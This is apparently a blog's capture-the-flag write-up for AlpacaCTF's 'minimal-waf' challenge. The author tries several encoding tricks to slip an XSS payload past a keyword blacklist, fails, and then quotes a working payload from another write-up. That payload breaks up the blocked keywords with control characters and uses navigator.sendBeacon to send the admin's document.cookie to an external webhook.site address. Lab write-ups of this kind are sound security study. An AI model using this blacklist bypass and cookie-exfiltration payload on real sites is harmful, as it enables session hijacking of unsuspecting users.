Zero Day Diaries

Breaking Down Security, Bit by Bit

AlpacaCTF: minimal-waf

Task: Get session token for admin, using reflective XSS.

Approach:

I first try to understand the blacklisted characters/tags. Try to find a working payload that bypasses the blacklist and executes a script to reflect with the cookie.

Step #1: Identifying the blacklist:

  • From source code review:
    • if (/script|src|on|html|data|&/i.test(html)) { res.type("text").send(`XSS Detected: ${html}`); }
  • Here we have script, src, on , html, data, & are blacklisted and with any occurrence of this string/char, a detection message is returned.

Step #2: Bypass blacklisting

  • Test 1: URL encoding blacklisted items:
    • <%73%63%72%69%70%74>alert(1)</%73%63%72%69%70%74>
    • The encoding is resolved to: <scri pt>alert(1)</sc ript> This gets detected. FAIL

  • Test 2: Double URL encoding:
    • <%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34>alert(1)</%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34>
    • The enocding is resolved to: <%73%63%72%69%70%74>alert(1) which is not a valid html item. FAIL
      • All other variation of url encoding fails

  • Test 3: Unicode encoding:
    • <%u0073%u0063%u0072%u0069%u0070%u0074>alert(1)</%u0073%u0063%u0072%u0069%u0070%u0074>
    • This gets detected. FAIL
      • All other variations of unicode encoding fails as well

  • Test 4: Using special characters:
    • Zero width space (ZWS):
      • As the name suggests, ZWS ha no width and apprear as “” instead of “ “.
      • This fails.
    • Tab space:
      • Tab space to break payload.
        • Ex: scr ipt
      • This fails.
    • /
      • / to break payload
        • Ex: scri/pt
      • This fails

Conclusion:

After trying variations of XSS payload for over an hour, none of the said payloads worked and I couldn’t solve this challenge

Working payload from the writeup:

%3Cembed%20id=y%20code=%22/view?ht%0aml=a%253cscri%09pt%253enavigator.sendBeaco%09n(`https://webhook.site/ffa435cf-8d7f-4ada-b8f0-1769b12dc53a`,document.cookie)%253c/scr%0dipt%253e%22%20type=%22text/ht%09ml%22%3Eb%3C/embed%3E
  • The above payload resolves to:
<embed id=y code="view?html=a<scr iptnavigator.sendBeaco n(`https://webhook.site/ffa435cf-8d7f-4ada-b8f0-1769b12dc53a`,document.cookie)< /scr ipt>" type="text/ht ml">b</embed>

As seen here, special characters we used to break up blacklisted items. I was very close to a working solution only the breaking up of the payload had to be nested.